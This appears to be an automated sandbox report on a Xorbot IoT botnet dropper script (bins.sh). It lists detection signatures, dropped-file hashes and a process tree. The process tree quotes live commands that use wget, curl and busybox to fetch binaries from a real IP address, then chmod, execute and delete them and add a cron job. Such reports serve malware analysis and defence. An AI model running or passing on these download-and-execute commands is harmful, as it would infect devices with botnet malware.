Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/01/2025, 00:12

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250129-ag68layjbr
  • SHA256 c1e3094f43b2b3f5cb23e3d83c4e7c659abeb3d4029b1ca672ff1347874641e6
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2022) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:638
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:640
      • /usr/bin/wget
        wget http://94.154.35.94/bins/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • Writes file to tmp directory
        PID:641
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:669
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • Writes file to tmp directory
        PID:675
      • /bin/chmod
        chmod 777 ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • File and Directory Permissions Modification
        PID:680
      • /tmp/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        ./ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
          PID:682
        • /bin/rm
          rm ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://94.154.35.94/bins/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:702
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • Writes file to tmp directory
            PID:721
          • /bin/chmod
            chmod 777 yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • File and Directory Permissions Modification
            PID:724
          • /tmp/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            ./yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
              PID:725
            • /bin/rm
              rm yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
              2⤵
                PID:727
              • /usr/bin/wget
                wget http://94.154.35.94/bins/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • Writes file to tmp directory
                PID:728
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:737
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • Writes file to tmp directory
                PID:749
              • /bin/chmod
                chmod 777 YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • File and Directory Permissions Modification
                PID:757
              • /tmp/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                ./YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                  PID:758
                • /bin/rm
                  rm YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                  2⤵
                    PID:760
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Writes file to tmp directory
                    PID:762
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:766
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Writes file to tmp directory
                    PID:767
                  • /bin/chmod
                    chmod 777 j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • File and Directory Permissions Modification
                    PID:768
                  • /tmp/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    ./j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:769
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:771
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:772
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:773
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:774
                        • /bin/rm
                          rm j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                          2⤵
                            PID:776
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                            2⤵
                              PID:779

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                                • Path /tmp/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                                • Path /tmp/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
                                • Path /tmp/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
                                • Path /tmp/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.NEfR70
                                • Path /var/spool/cron/crontabs/tmp.NEfR70
                                • Size 210B
                                • SHA256 b6c2b23b15811c6b2f1e396a268c2fa60f67329378adebe7579053c7311778f4
                                • MD5 SHA1 SHA512
                                Submit Download